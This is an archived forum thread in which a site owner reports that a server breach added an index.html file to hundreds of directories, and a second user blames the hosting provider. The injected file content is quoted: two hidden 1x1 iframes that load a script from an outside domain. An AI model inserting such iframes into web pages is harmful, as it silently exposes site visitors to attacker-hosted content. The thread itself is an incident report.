hacked through index.php :: Archived

WebSiteGuru · 1000+ Posts Club Offline Joined: Jun 09, 2005 Posts: 2318

jeffk wrote:

speaking to the server hosting company atm

seems like a new ftp account was created , they are unsure how

seems like very directory has had an index.html file created

ie /home/xxxxx/public_html/language/index.html

there hunders of altered files on the server now

the index file contents are

<iframe src=http://x-road.co.kr/rich/out.php width=1 height=1></iframe>
<iframe src=http://x-road.co.kr/rich/out.php width=1 height=1></iframe>

Their server got hacked into. And the hacker had created an FTP account that have the root home access. That's how they did it. It seem to be happending a lot.

jeffk · Supporter Offline Joined: Jun 21, 2004 Posts: 322

so its the hosts problem not DF , just need to confirm this

WebSiteGuru · 1000+ Posts Club Offline Joined: Jun 09, 2005 Posts: 2318

yes it is the host problem. The host was not secured or someone from the inside that has admin acess did it.